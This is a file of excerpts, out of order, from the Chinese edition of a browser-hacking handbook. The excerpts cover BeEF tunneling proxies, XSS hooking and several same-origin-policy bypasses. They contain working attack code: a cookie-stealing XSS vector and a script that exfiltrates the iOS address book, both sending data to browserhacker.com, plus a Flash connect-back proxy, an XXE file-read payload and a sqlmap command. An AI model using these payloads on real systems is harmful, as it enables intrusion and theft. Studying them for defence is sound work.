    {"text": "如果编码了这个字符串，就会得到下面的数据URI： <iframe src=\"data:text/html;base64, \\ PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\"></iframe> BeEF中的XssRays对Chrome和Safari使用的正是这种技术。 下面的JavaScript代码说明了其逻辑： if(beef.browser.isC() || beef.browser.isS()){ // 浏览器是Chrome或Safari var datauri = btoa(url); iframe.src = \"data:text/html;base64,\" + datauri; }else{ iframe.src = url; } 知道如何对XSS漏洞发动攻击后，我们可以更上一层楼。"},
    {"text": "下面的代码演示了其部分功能： def initialize @conf = BeEF::Core::Configuration.instance @proxy_server = TCPServer.new( @conf.get('beef.extension.proxy.address'), @conf.get('beef.extension.proxy.port') ) loop do proxy = @proxy_server.accept Thread.new proxy, &method(:handle_request) end end def handle_request socket request_line = socket.readline # HTTP方法 # 默认为GET method = request_line[/^\\w+/] # HTTP版本 # 默认为1.0 version = request_line[/HTTP\\/(1\\.\\d)\\s*$/, 1] version = \"1.0\" if version.nil? # url # 主机：端口/路径 url = request_line[/^\\w+\\s+(\\S+)/, 1] # 重写UNRESERVED # 防止攻击时发生URI错误 tolerant_parser = URI::Parser.new( :UNRESERVED => BeEF::Core::Configuration.instance.get( \"beef.extension.requester.uri_unreserved_chars\") ) uri = tolerant_parser.parse(url.to_s) raw_request = request_line content_length = 0 loop do line = socket.readline if line =~ /^Content-Length:\\s+(\\d+)\\s*$/ content_length = $1.to_i end if line.strip.empty? # 读取套接字中的数据 # 长度为<content_length> if content_length >= 0 raw_request += \"\\r\\n\" + socket.read(content_length) end break else raw_request += line end end [...snip...] end 发送到该服务器套接字的原始HTTP请求被解析后，保存在BeEF的数据库中。"},
    {"text": "服务器端组件Requester会将正确的BeEF JavaScript API调用注入勾连浏览器： def add_to_body(output) @body << %Q{ beef.execute(function() { beef.net.requester.send( #{output.to_json} ); }); } end 前面代码中的变量 output 是其JSON形式的散列值，包含需要发送的请求的所有信息。"},
    {"text": "该方法会为 requests_array 数组中的每一项都创建一个 XMLHttpRequest 请求，然后调用如下所示的 beef.net.forge_request 方法： beef.net.requester = { handler: \"requester\", send: function(requests_array) { for (i in requests_array) { request = requests_array[i]; # 使用BeEF的forge_request API及必要信息创建一个XHR对象 beef.net.forge_request('http', request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id, function(res, requestid){ # 要执行的回调，把XHR响应数据发给服务器 beef.net.send('/requester', requestid, { response_data: res.response_body, response_status_code: res.status_code, response_status_text: res.status_text, response_port_status: res.port_status, response_headers: res.headers}); }); } } }; 这里 forge_request 的最后一个输入参数是一个匿名函数，会在 forge_request 请求完成后作为回调函数被调用。"},
    {"text": "图9-16展示了Tunneling Proxy内部的架构流程。 图 9-16 BeEF的Tunneling Proxy内部的架构流程 为了最大限度地减少延迟，可以利用BeEF的WebSocket通信渠道。"},
    {"text": "WebSocket是一个流协议，比默认的XHR轮询速度快，但只有在勾连浏览器完全支持的情况下，才会启用WebSocket，因此也不必担心会失去勾连那些老版本的浏览器的可能性。"},
    {"text": "你不必使用标准的HTTP代理，而是将其插入被勾连的浏览器。 这样勾连浏览器就成了中介，不仅可以代理你的请求，而且可以发送该代理权限范围内的所有请求。 结果就是通过该勾连浏览器可以浏览勾连源，而该源很可能是你之前看不到的。"},
    {"text": "图 9-18 Tunneling Proxy调试日志 在图9-19中，可以看到 XMLHttpRequest 对象的原始请求和响应首部被注入勾连的Firefox浏览器，该浏览器请求并正确取得了/dvwa/vulnerabilities/upload源。"},
    {"text": "25 D. Kristol and L. Montulli. (2013). HTTP State Management Mechanism . Retrieved June 15, 2013 from http://www.ietf.org/rfc/rfc2109.txt 遗憾的是，通过cookie来区分认证和非认证Web应用用户并不十分可靠。"},
    {"text": "(1) XSS攻击盗取cookie 你可能见过下面这个常用于窃取会话cookie的XSS向量： <script>document.location.href=\"browserhacker.com/ \\ cookies?c=\"+document.cookie</script> 为了利用这个会话，攻击者可以用新获取的值再设置自己的cookie。"},
    {"text": "DVWA在Set-Cookie首部中没有使用HttpOnly标签，不过为了演示，我们可以给它加上。 为此，要修改dvwa/includes/ dvwaPage.inc.php，在第11行后面添加如下代码： 26 RandomStorm. (2013). Damn Vulnerable Web Application . Retrieved June 15, 2013 from http://www.dvwa.co.uk/ $current_cookie = session_get_cookie_params(); $sessid = session_id(); setcookie( 'PHPSESSID',//name $sessid,//value 0,//expires $current_cookie['path'],//path $current_cookie['domain'],//domain false, //secure true //httponly ); 简单修改之后，每次创建PHPSESSID cookie，就都会带上HttpOnly标签了。"},
    {"text": "下面的URL会通过后认证的反射型XSS漏洞勾连DVWA源： http://browservictim.com/dvwa/vulnerabilities/xss_r/?name=\\ %3Cscript%20src=%22http://browserhacker.com/hook.js%22%3E%\\ 3C%2Fscript%3E# 如图9-21所示，可以看到Tunneling Proxy日志中的原始请求和响应，这里是使用Opera浏览被勾连的域。"},
    {"text": "图 9-21 代理认证的资源 在图9-22中，可以看到勾连的Firefox浏览器向URL /dvwa/vulnerabilities/exec发送了请求，并在请求中自动附加了正确的PHPSESSID cookie值。"},
    {"text": "27 D. Stuttard. (2013). Burp Suite . Retrieved June 15, 2013 from http://portswigger.net/burp/ 好玩的是，在下面这种情况下，你要在代理的后面再使用一层代理。"},
    {"text": "Burp支持上行HTTP（或SOCKS）代理设置，如图9-23所示。 图 9-23 Burp使用BeEF的Tunneling Proxy作为上行代理 下一步是配置浏览器，以使用Burp作为默认代理。"},
    {"text": "Burp会找到所有的 a 链接和 form 动作目标，将它们指向的资源添加到这个SiteMap树中。 在SiteMap树中有了一些资源之后，可以使用Burp的Spider组件去发现更多资源，如图9-24所示。 图 9-24 为Burp的Spider添加一个网站资源分支 Spider很有可能会发现很多新资源，供你从中找到安全漏洞。"},
    {"text": "图 9-26 发现存在漏洞的资源 如图9-26所示，/dvwa/vulnerabilities/sqli/?id=xyz这个资源看起来好像存在SQL注入漏洞，而数据库看起来是MySQL。"},
    {"text": "28 B. Damele and M. Stamparm. (2013). Sqlmap . Retrieved June 15, 2013 from http://sqlmap.org/ 假设你像前面说的那样，在使用Tunneling Proxy和Burp，然后发现了一个被 Burp标记为存在SQL注入漏洞的资源。"},
    {"text": "为了通过Sqlmap利用这个漏洞，可以使用如下命令和参数： ./sqlmap.py --proxy http://127.0.0.1:6789 -u \\ \"http://172.16.37.147/dvwa/vulnerabilities/sqli \\ /?id=abc&Submit=Submit\" -p id -v 3 --current-db 注意，这里的选项 --proxy 指定了BeEF代理的URI。"},
    {"text": "如果域browservictim.com有一个类似下面这样的/crossdomain.xml策略文件，那就是允许从任意域加载的Flash SWF文件或Java小程序，向browservictim.com发送请求并读取响应： <?xml version=\"1.0\" encoding=\"UTF-8\"?> <cross-domain-policy> <allow-access-from domain=\"*\" /> </cross-domain-policy> 在crossdomain.xml错配的基础上，还需要一些先决条件，才能利用这个目标的认证会话。"},
    {"text": "29 E. Oftedal. (2010). MalaRIA—I'm in your browser, surfin your webs . Retrieved June 15, 2013 from http://erlend.oftedal.no/blog/?blogid=107 图9-30展示了malaRIA的工作原理。"},
    {"text": "浏览器加载完SWF文件后，就会连接回代理后端，等待指令： <mx:Application xmlns:mx=\"http://www.adobe.com/2006/mxml\" layout=\"absolute\" xmlns=\"*\" creationComplete=\"useHttpService()\"> <mx:Script> <![CDATA[ [...] /* 回连到代理器后端*/ public function useHttpService():void { socket = new Socket(); ExternalInterface.call(\"log\", \"Connecting back to malaRIA\"); socket.addEventListener(Event.CONNECT, this.connectHandler); socket.addEventListener(ProgressEvent.SOCKET_DATA, this.onData); socket.connect(\"browserhacker.com\", 8081); } /*处理来自后端的请求，向目标发送请求*/ private function onData(event:ProgressEvent):void { ExternalInterface.call(\"log\", \"Got data from proxy\"); var data:String = socket.readUTFBytes(socket.bytesAvailable); handle(data); } public function handle(data:String):void { var regresult:Object = /([^ ]+) ([^ ]+) ([^ ]+)( (.*))?/.exec(data); var verb:String = regresult[1]; var url:String = regresult[2]; var accept:String = regresult[3]; var reqData:String = regresult[5]; ExternalInterface.call(\"log\", \"Trying: [\" + verb + \" \" + url + \" \" + accept + \" \" + (verb == \"POST\" ? \" \" + reqData : \"\") + \"]\"); /* 按照代理后端的请求，向目标发送请求*/ var urlRequest:URLRequest = new URLRequest(url); urlRequest.method = (verb == \"POST\") ? URLRequestMethod.POST : URLRequestMethod.GET; if (reqData != null && reqData != \"\") { urlRequest.data = new URLVariables(reqData); } var loader:URLLoader = new URLLoader(); loader.dataFormat = URLLoaderDataFormat.BINARY; /* 把响应发送给代理*/ loader.addEventListener(Event.COMPLETE, onComplete); loader.addEventListener(IOErrorEvent.IO_ERROR, onIOError); loader.load(urlRequest); ExternalInterface.call(\"log\", \"Sent\"); } public function onComplete(event:Event):void { socket.writeUTFBytes(event.target.bytesTotal + \":\"); socket.writeBytes(event.target.data); socket.flush(); ExternalInterface.call(\"log\", \"Sending back data - length \" + event.target.bytesTotal + \" (\" + event.target.data.length + \")\"); } [...] </mx:Script> </mx:Application> 使用以下命令来启动代理后端： sudo java malaria.MalariaServer browserhacker.com 8081 以上命令将malaRIA后端绑定到8080端口。"},
    {"text": "图 9-31 malaRIA代理准备接受来自SWF部件的连接 之所以需要这两个端口，是因为SWF或Silverlight部件在连接回malaRIA服务器时，首先需要从browserhacker.com上取得跨域策略。"},
    {"text": "可以看一下代理后端代码中的 FlexPolicyServer.java 类，它的下面这个方法就是为了返回正确的跨域策略而写的： public static void printFlexPolicy(PrintStream clientOut, \\ String hostname, int port) { clientOut.print(\"<?xml version=\\\"1.0\\\"?>\\n\"); clientOut.print(\"<!DOCTYPE cross-domain-policy SYSTEM \\ \\\"/xml/dtds/cross-domain-policy.dtd\\\">\"); clientOut.print(\"<cross-domain-policy>\"); clientOut.print(\"<site-control permitted-cross-domain- \\ policies=\\\"master-only\\\"/>\"); clientOut.print(\"<allow-access-from domain=\\\"\" + hostname + \"\\\" to-ports=\\\"\" + port + \"\\\" />\"); clientOut.print(\"</cross-domain-policy>\"); } 为了从Flex源代码中生成Flash SWF文件，需要安装Adobe Flex SDK。"},
    {"text": "然后可以通过如下命令编译源代码： mxmlc --strict=true --file-specs malariaproxy.mxml 下一步是将前面生成的SWF文件嵌入一个HTML文件： <head> <script> function log(msg) { var elm = document.getElementById(\"log\"); elm.innerHTML += msg + \"<br />\"; } </script> </head> <body> <div id=\"log\"> </div> <object width=\"0\" height=\"0\"> <param name=\"movie\" value=\"malariaproxy.swf\"> <embed src=\"malariaproxy.swf\" width=\"0\" height=\"0\"></embed> </object> 为了更好地理解背后的工作过程，我们在代码中包含了 log() 函数这个额外的日志工具。"},
    {"text": "利用宽松的跨域策略，可以通过注入到目标浏览器中的部件，连接到互联网上的任意源，这是其最有威胁的地方。 如果攻击目标恰好又在多个不同的源获得了认证，而且这些源都配置了宽松的跨域策略，那么攻击的收效将会非常之大。"},
    {"text": "Unknown 第 3 章 持续控制 如果你好不容易踏进了屋门，不一会儿工夫屋门又“砰”地一声关上了，那还有什么意思呢？第2章讲解的就是怎么迈进屋子的技术。紧接着，你得知道怎么让屋门始终为你敞开。用黑客的话说，就是在你获得了对浏览器的初始控制之后，必须想办法将控制持久化。这也就是我们浏览器攻击方法论中的 持续控制 （Retaining Control）阶段。 对目标的持续控制可以宽泛地分成两个方面，一方面是 持久通信 （Retaining Communication），另一方面是 持久存续 （Retaining Persistence）。持久通信的基础是建立一种机制，通过持久的通信渠道，保障对一个或多个浏览器的持续控制。持久存续的技术涉及让通信渠道保持畅通，无论用户采取什么动作都不受干扰。 在后面几章里，我们会看到很多攻击需要时间执行，有的甚至需要秒级的时间。在执行连锁攻击时，这些时间会叠加起来，因为有很多操作混在一起。在这种情况下，拥有一个稳定的通信渠道，是任何浏览器攻击活动的必要前提。没有这个前提，一旦时间不够用，你就会被打回原点。 本章介绍一些对目标浏览器进行持续控制的技术，为实现攻击目标提供时间保障。不过，介绍的这些方法绝非全部。有些你可能已经了解了，而有些可能只适用于特定的浏览器类型和版本。 Unknown 第 5 章 攻击用户 人类通常被认为是信息链条中安全性最薄弱的一环。对于这种现象的成因，学界历来有许多猜测：是由于我们固化的设计思路？还是由于在通信领域，我们的经验跟不上技术日新月异发展的脚步？又或者只是由于我们（经常）错误地信任了通信对象？ 在这一章中，我们将重点关注使用电脑的普通用户发起的攻击。其中有一些攻击使用了更先进的社会工程学手段，类似于我们在前面章节讨论过的在浏览器中添加钩子的方法。还有一些攻击利用了浏览器的漏洞或缺陷，例如错误地信任非同源代码。"},
    {"text": "查一查Java 6和Java 7的文档，特别是 URL 对象的 equals 方法 1 ，会看到如下表述：“如果两个主机名可以解析为同一个IP地址，则将它们看成同一个主机……”显然，这是Java 中SOP实现的漏洞（本书写作时还没有修复）。"},
    {"text": "1 Oracle. (2009). URL class . Retrieved May 11, 2013 from http://docs.oracle.com/javase/6/docs/api/java/net/URL.html#equals(java.lang.Object) 看下面的例子，假设www.browserhacker.com和www.browservictim.com都解析到IP地址192.168.0.2： $ cat /etc/hosts/ 192.168.0.2 www.browservictim.com 192.168.0.2 www.browserhacker.com 那么在下面的Java小程序中，在调用 getInfo() 方法时，就会创建一个 java.net.URL 的新实例，通过它可以从www.browserhacker.com的一个指定URL中提取内容： import java.applet.*; import java.awt.*; import java.net.*; import java.util.*; import java.io.*; public class javaAppletSop extends Applet{ public javaAppletSop() { super(); return; } public static String getInfo(){ String result = \"\"; try { URL url = new URL(\"http://www.browserhacker.com\" + \"/demos/secret_page.html\"); BufferedReader in = new BufferedReader( new InputStreamReader(url.openStream())); String inputLine; while ((inputLine = in.readLine()) != null) result += inputLine; in.close(); } catch (Exception exception){ result = \"Exception: \" + exception.toString(); } return result; } } 现在编译前面的小程序，并将其嵌入www.browservictim.com的某个HTML页面。"},
    {"text": "嵌入小程序的HTML代码如下： <html> <!-- Tested on: - Java 1.7u17 and Firefox (CtP allowed) - Java 1.6u45 and IE 8 --> <body> <embed id='javaAppletSop' code='javaAppletSop' type='application/x-java-applet' codebase='http://browservictim.com/' height='0' width='0'name='javaAppletSop'></embed> <!-- use the following one for IE --> <!-- <applet id='javaAppletSop' code='javaAppletSop' codebase='http://browservictim.com/' height='0' width='0'name='javaAppletSop'></applet> --> <script> // 设置5秒超时，等待用户允许CtP function getInfo(){ output = document.javaAppletSop.getInfo(); if (output) alert(output); } setTimeout(function(){getInfo();},5000); </script> </body> </html> 如图4-1中的弹出对话框所示，可以看到已经从www.browservictim.com取得了demos/secret_page.html的内容，因为Java不认为该域与www.browserhacker.com不一样。"},
    {"text": "图 4-1 未签名的小程序可以跨域取得内容 这里的关键是小程序使用 URL 、 BufferedReader 和 InputStreamReader 对象的权限。 在Java 1.6中，平常的未签名的小程序可以在用户不介入的情况下运行（除非是在比较新的浏览器里，未经签名的小程序必须通过用户授权才能运行）。 在Java 1.7中，小程序必须经用户明确许可才能运行，用户必须单击Run（运行）按钮才能执行。"},
    {"text": "2 Esteban Guillardoy. (2013). Keep calm and run this applet . Retrieved May 11, 2013 from http://immunityproducts.blogspot.co.uk/2013/02/keep-calm-and-run-this-applet.html 3 Oracle. (2013). What should I do when I see a security prompt from Java? Retrieved May 11, 2013 from https://www.java.com/en/download/help/appsecuritydialogs.xml 同样，从终端用户的角度看，两个签名的小程序运行在7u21以上的Java版本中，一个在沙箱里，一个在沙箱外，它们的差别就在于一个词 4 。"},
    {"text": "如果签名的小程序需要在沙箱外运行的权限，那么显示给用户的消息是“…will run with unrestricted access …”。 如果签名的小程序运行在沙箱里，那么显示给用户的消息就是“…will run with restricted access …”。"},
    {"text": "4 Will Dormann. (2012). Don't sign that applet . Retrieved May 11, 2013 from http://www.cert.org/blogs/certcc/2013/04/dont_sign_that_applet.html Mario Heiderich提到过，Firefox中的LiveConnect 5 API和Java插件都可用时，Java存在怪异行为。"},
    {"text": "下面是一个使用 Packages DOM对象绕过SOP的示例： 5 Mozilla. (2012). LiveConnect . Retrieved May 11, 2013 from https://developer.mozilla.org/en/docs/LiveConnect <script> var url = new Packages.java.net.URL(\"http://browservictim.com/cookie.php\"); var is = new Packages.java.io.BufferedReader( new Packages.java.io.InputStreamReader(url.openStream())); var data = ''; while ((l = is.readLine()) != null) { data+=l; } alert(data) </script> 而通过 Packages 调用Java代码时，会出现一个比较危险的副作用。"},
    {"text": "比如下面的代码： 6 Neal Poole. (2011). Java Applet SOP Bypass via HTTP Redirect . Retrieved May 11, 2013 from https://nealpoole.com/blog/2011/10/java-applet-same-origin-policy-bypass-via-http-redirect/ <applet code=\"malicious.class\" archive=\"http://browservictim.com?redirect_to= http://browserhacker.com/malicious.jar\" width=\"100\" height=\"100\"></applet> 我们肯定会认为，如果这里的小程序想要访问browservictim.com，那么SOP就会起作用。"},
    {"text": "这个方案涉及Java的 URL 对象（前面例子中用过），把 ftp 和 file 等URI协议的使用列入了跨域请求的黑名单，但却允许 jar 协议，这样就可以创建像下面这样有效的URI： 7 Frederik Braun. (2012). Origin Policy Enforcement in Modern Browsers . Retrieved from https://frederik-braun.com/publications/thesis/Thesis-Origin_Policy_Enforcement_in_Modern_Browsers.pdf jar:http://browserhacker.com/secret.jar 这样的 jar URI可用于创建 URL 对象的新实例。"},
    {"text": "以下代码利用这种绕行策略，可以读取Open Office文档的内容： import java.awt.*; import java.applet.Applet ; import java.io.* ; import java.net.*; public class zipSopBypass extends Applet { private TextArea ltArea = new TextArea(\"\", 100, 300); public void init (){ add(ltArea); } public void paint (Graphics g) { g.drawString(\"Reading file content in JAR...\", 80, 80); // 这个小程序加载自（源为）http://browserhacker.com origin String url = \"jar:https://browservictim.com/\"+ \"stuff/confidential.odt!/content.xml\"; String content = \"\"; try{ URL u = new URL(url); BufferedReader ff = new BufferedReader( new InputStreamReader(u.openStream()) ); while (ff.ready()){ content += ff.readLine(); } }catch(Exception e){ g.drawString( \"Error\",100,100); } ltArea.setText(content); g.drawString(content ,100,100); } } 注意，前面代码中的 url 变量指向了包含在odt文件中的content.xml资源。"},
    {"text": "8 WebSense. (2013). How are Java attacks getting through . Retrieved August 4, 2013 from http://community.websense.com/blogs/securitylabs/archive/2013/03/25/how-are-java-attacks-getting-through.aspx 9 Bit9. (2013). Most enterprise networks riddled with vulnerable Java installations . Retrieved August 4, 2013 from http://www.networkworld.com/news/2013/071813-most-enterprise-networks-riddled-with-271939.html 最新的浏览器和Java都实现了点击播放安全机制。"},
    {"text": "10 Eric Romang. (2013). Oracle Java Exploits and 0 days Timeline . Retrieved August 4, 2013 from http://eromang.zataz.com/uploads/oracle-java-exploits-0days-timeline.html 图 4-2 2012年至2013年年中的Java安全漏洞时间线 4.2.2 在Adobe Reader中绕过SOP Adobe Reader作为浏览器插件被爆出很多安全漏洞，因此声名狼藉。"},
    {"text": "11 CVEDetails. (2013). Adobe Acrobat Reader Vulnerability Statistics . Retrieved August 4, 2013 from http://www.cvedetails.com/product/497/Adobe-Acrobat-Reader.html?vendor_id=53 大家知道，Adobe Reader PDF解析器理解JavaScript 12 。"},
    {"text": "12 Adobe. (2005). Acrobat JavaScript Scripting Guide . Retrieved May 11, 2013 from http://partners.adobe.com/public/developer/en/acrobat/sdk/AcroJSGuide.pdf CVE-2013-0622就是让绕过SOP成为可能的缺陷之一，它是Billy Rios、Federico Lanusse和Mauro Gentile发现的。 利用这个缺陷（Adobe Reader 11.0.0以上版本已经修复），可以像前面讲Java时介绍的第二种绕过SOP的方式一样发起攻击，那是利用开放性重定向，让一个外部源访问重定向的源。"},
    {"text": "常见的XXE注入方式是把恶意代码注入接收XML输入的请求中，比如： <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM \"/etc/passwd\" >]><foo>&xxe;</foo> 如果XML解析器允许外部实体出现，那么 &xxe 就会被 /etc/passwd 的内容取代。"},
    {"text": "看看下面的JavaScript代码片段，它包含在一个PDF文件中： var xml=\"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <! ENTITY xxe SYSTEM \\\"http://browserhacker.com?redirect= http%3A%2F%2Fbrowservictim.com%2Fdocument.txt\\\">]> <foo>&xxe;</foo>\"; var xdoc = XMLData.parse(xml,false); app.alert(escape(xdoc.foo.value)); 加载PDF时，就会执行前面的JavaScript代码。"},
    {"text": "下面是一个例子： <?xml version=\"1.0\"?> <cross-domain-policy> <site-control permitted-cross-domain-policies=\"by-content-type\"/> <allow-access-from domain=\"*\" /> </cross-domain-policy> 这样设置 allow-access-from domain ，加载自任意源的Flash对象，就都可以向认可该宽泛策略的域发送请求并读取响应了。"},
    {"text": "为了实现跨域通信，站点需要发布一个名为clientaccess-policy.xml的文件，包含以下内容： <?xml version=\"1.0\" encoding=\"utf-8\"?> <access-policy> <cross-domain-access> <policy> <allow-from> <domain uri=\"*\"/> </allow-from> <grant-to> <resource path=\"/\" include-subpaths=\"true\"/> </grant-to> </policy> </cross-domain-access> </access-policy> 需要注意，Flash与Silverlight在跨域通信的实现上还是有区别的。"},
    {"text": "13 Michal Zalewski. (2010). Same-origin policy for Silverlight . Retrieved May 11, 2013 from http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_Silverlight 这就埋下了很大的隐患，因为它在HTTP和HTTPS之间搭起了一座桥梁。"},
    {"text": "4.2.5 在IE中绕过SOP 在IE中绕过SOP的方案也不止一种。 比如，在Internet Explorer 8 Beta 2（包括IE6和IE7）中，对 document.domain 的实现都存在绕过SOP的漏洞 14 。"},
    {"text": "14 Alex Kouzemtchenko. (2008). Same Origin Policy Weaknesses . Retrieved May 11, 2013 from http://powero-fcommunity.net/poc2008/kuza55.pdf 15 0x000000. (2008). Defeating The Same Origin Policy . Retrieved May 11, 2013 from http://mandark.fr/0x000000/articles/Defeating_The_Same_Origin_Policy.html 下面的代码展示了这个隐患： var document; document = {}; document.domain = 'browserhacker.com'; alert(document.domain); 如果是在最新的浏览器中运行以上代码，可以在JavaScript控制台中看到违反SOP限制的错误。"},
    {"text": "来看一看下面的页面： 16 0x000000. (2007). CVE-2007-3514 . Retrieved May 11, 2013 from http://www.cvedetails.com/cve/CVE-2007-3514/ <html> <body> <h1> I'm a local file loaded using the file:// scheme </h1> <script> xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText); } }; xhr.open(\"GET\", \"http://browserhacker.com/pocs/safari_sop_bypass/different_orig.html\"); xhr.send(); </script> </body> </html> 当页面通过file协议加载后， XMLHttpRequest 对象在请求browserhacker.com中的different_orig.html后可以读取响应。"},
    {"text": "图 4-3 使用file协议加载JavaScript代码后，会成功获得跨域资源的内容 相反，如果你使用其他协议（比如http）加载这个页面，会发现警告对话框是空的。"},
    {"text": "以下是Heyes最初的 概念验证 （Proof of Concept ，PoC）代码： 17 Gareth Heyes. (2012). Firefox knows what your friends did last summer . Retrieved May 11, 2013 from http://www.thespanner.co.uk/2012/10/10/firefox-knows-what-your-friends-did-last-summer/ 18 Michael Coates. (2012). Security Vulnerability in Firefox 16 . Retrieved May 11, 2013 from https://blog.mozilla.org/security/2012/10/10/security-vulnerability-in-firefox-16/ <!doctype html> <script> function poc() { var win = window.open('https://twitter.com/lists/', 'newWin', 'width=200,height=200'); setTimeout(function(){ alert('Hello '+/^https:\\/\\/twitter.com\\/([^/]+)/.exec( win.location)[1]) }, 5000); } </script> <input type=button value=\"Firefox knows\" onclick=\"poc()\"> 在你控制的源（比如browserhacker.com）中执行前面的代码，而且有一个标签页登录了Twitter，就可以发动这种攻击。"},
    {"text": "执行后会打开一个新窗口，加载https://twitter.com/lists。 Twitter随后自动重定向到https://twitter.com/<user_id>/lists（其中user_id是你的Twitter句柄）。"},
    {"text": "这样就有了改变外部 window 地址的可能： <!-- 外部文件，带有沙箱 --> <iframe src=\"inner.html\" sandbox=\"allow-scripts\"></iframe> 框架内的代码是： <!-- Framed document , inner.html --> <script > // 逃出沙箱： if(top != window) { top.location = window.location; } // 下面的JavaScript代码和标记都不受限制： // 允许插件、弹出窗口和表单。 </script> 这样，即使不指定关键字 allowtop-navigation ，内嵌框架中加载的JavaScript代码也可能修改外部 window 的地址。"},
    {"text": "看看下面的代码： 19 Opera Software. (2012). Opera 12.10 Changelog . Retrieved May 11, 2013 from http://www.opera.com/docs/changelogs/unified/1210/ 20 Gareth Heyes. (2012). Advisory: Cross domain access to object constructors can be used to facilitate cross-site scripting . Retrieved May 11, 2013 from http://www.opera.com/support/kb/view/1032/ 21 Gareth Heyes. (2012). Opera x-domain with video tutorial . Retrieved May 11, 2013 from http://www.thespanner.co.uk/2012/11/08/opera-x-domain-with-video-tutorial/ <html> <body> <iframe id=\"ifr\" src=\"http://browservictim.com/xdomain.html\"></iframe> <script> var iframe = document.getElementById('ifr'); function do_something(){ var iframe = document.getElementById('ifr'); iframe.contentWindow.location.constructor. prototype.__defineGetter__.constructor('[].constructor. prototype.join=function(){console.log(\"pwned\")}')(); } setTimeout(\"do_something()\",3000); </script> </body> </html> 以下是从另一个源框进来的内容： <html> <body> <b>I will be framed from a different origin</b> <script> function do_join(){ [1,2,3].join(); console.log(\"join() after prototype override: \" + [].constructor.prototype.join); } console.log(\"join() after prototype override: \" + [].constructor.prototype.join); setTimeout(\"do_join();\", 5000); </script> </body> </html> 这些代码要把 [].constructor.prototype.join 的值输出到控制台，也就是输出在数组上调用的 join() 的原生代码。"},
    {"text": "下面再好好看一看这几行代码： iframe.contentWindow.location.constructor. prototype.__defineGetter__.constructor('[].constructor. prototype.join=function(){console.log(\"pwned\")}')(); 注意，你可以调用 iframe.contentWindow.location.constructor ，而不会触发任何违反SOP的错误。"},
    {"text": "例如，Chrome此时就会抛出一个违反SOP的错误，如图4-4所示。 图 4-4 尝试访问构造函数时，触发了Chrome的违反SOP错误 再进一步，你应该再检查一下在重写原型之后是否可以实际地执行代码。"},
    {"text": "就拿数组字面值 [] 来说，通过以下指令对 join() 方法进行原型重写，就可以在框架内通过任意数组调用 join() 方法，以执行任意代码： [].constructor.prototype.join=function(){your_code}; 要进一步了解这个绕过SOP的技术，可以从 https://browserhacker.com 下载代码。"},
    {"text": "例如，可以像下面这样重写 toString(): \"\".constructor.prototype.toString=function(){alert(1)} 在实际攻击中，可能需要框住一个资源，可能是会话cookie已经保存在浏览器中的认证过的页面，然后使用这个绕过SOP技术读取框中资源的内容。"},
    {"text": "22 Roi Saltzman. (2012). DropBox Cross-zone Scripting . Retrieved May 11, 2013 from http://blog.watchfire.com/files/dropboxadvisory.pdf 23 Roi Saltzman. (2012). Google Drive Cross-zone Scripting . Retrieved May 11, 2013 from http://blog.watchfire.com/files/googledriveadvisory.pdf Roi Saltzman发现了一个类似于前面介绍的绕过Safari SOP的方法。"},
    {"text": "攻击有赖于从一个私密区加载一个文件，比如: file:///var/mobile/Applications/APP_UUID 如果你能欺骗目标通过客户端应用加载一个HTML文件，那么该文件中包含的JavaScript代码就会被执行。"},
    {"text": "因为加载恶意HTML文件使用的是file协议，所以无法阻止JavaScript访问其他文件，比如： file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb 这个SQLite数据库包含着用户iOS中的地址簿。"},
    {"text": "如果你欺骗目标使用有漏洞的Dropbox或Google Drive客户端打开下面的恶意文件，那么用户地址簿的内容就会被发送到browserhacker.com： <html> <body> <script> local_xhr = new XMLHttpRequest(); local_xhr.open(\"GET\", \"file:///var/mobile/Library/AddressBook/ AddressBook.sqlitedb\"); local_xhr.send(); local_xhr.onreadystatechange = function () { if (local_xhr.readyState == 4) { remote_xhr = new XMLHttpRequest(); remote_xhr.onreadystatechange = function () {}; remote_xhr.open(\"GET\", \"http://browserhacker.com/?f=\" + encodeURI(local_xhr.responseText)); remote_xhr.send(); } } </script> </body> </html> 这个攻击案例展示了利用巧妙编写的JavaScript来利用漏洞的不同方式。"},
    {"text": "24 Veracode. (2012). Security Headers on the Top 1,000,000 Websites . Retrieved May 11, 2013 from http://www.veracode.com/blog/2012/11/security-headers-report/ 显然，在很多情况下，使用通配符的Access-Control-Allow-Origin首部也不会不安全。"},
    {"text": "Unknown 版权声明 Original edition, entitled The Browser Hacker's Handbook , by Wade Alcorn, Christian Frichot, Michele Orrù ISBN 978-1-118-66209-0, published by John Wiley & Sons, Inc. Copyright © 2014 by John Wiley & Sons, Inc. All rights reserved．This translation published under License． Simplified Chinese translation edition published by POSTS & TELECOM PRESS Copyright © 2016. Copies of this book sold without a Wiley sticker on the cover are unauthorized and illegal. 本书简体中文版由John Wiley & Sons, Inc.授权人民邮电出版社独家出版。 本书封底贴有John Wiley & Sons, Inc.激光防伪标签，无标签者不得销售。 版权所有，侵权必究。 Unknown 目标读者 如果你有技术背景，对浏览器面临的现实风险感兴趣，那你适合看这本书。可能你想保护你们的基础设施，也可能是想破坏客户的资产。或许你是一个系统管理员、开发者，甚至是一位信息安全专家。大概你跟我们很多人一样，对安全有着难以遏制的激情，正饥渴地寻找这方面的知识。 本书假设你每天都会用浏览器，出于某种原因想一探其背后的究竟。要看懂这本书，最好掌握了基本的安全概念，或者额外花点时间补一补基础知识。比如客户端—服务器模型、HTTP协议和一些基本的安全概念，这些你都不应该陌生。 虽然编程经验不是必需的，但懂一点基本原理才能看懂书中的代码。书中大量的例子和演示全都源自一线实战，使用了多种语言，主要是JavaScript——毕竟浏览器里它是主宰。虽然听起来似乎不大可能，但即使你以前没有使用过JavaScript，其实关系也不大。每一段代码都有详细的解说。 Unknown 备足弹药 本书会介绍可以用于攻击浏览器的各种工具，把这么多种工具收入工具箱，将来必有用武之地。 需要注意的是，本书旨在介绍如何在较低的级别上使用这些工具。随着你的技能越来越丰富，就会发现了解这些用法非常重要。我们的目标就是不仅让你知道怎么使用工具，还要理解它们，从而避免误用。 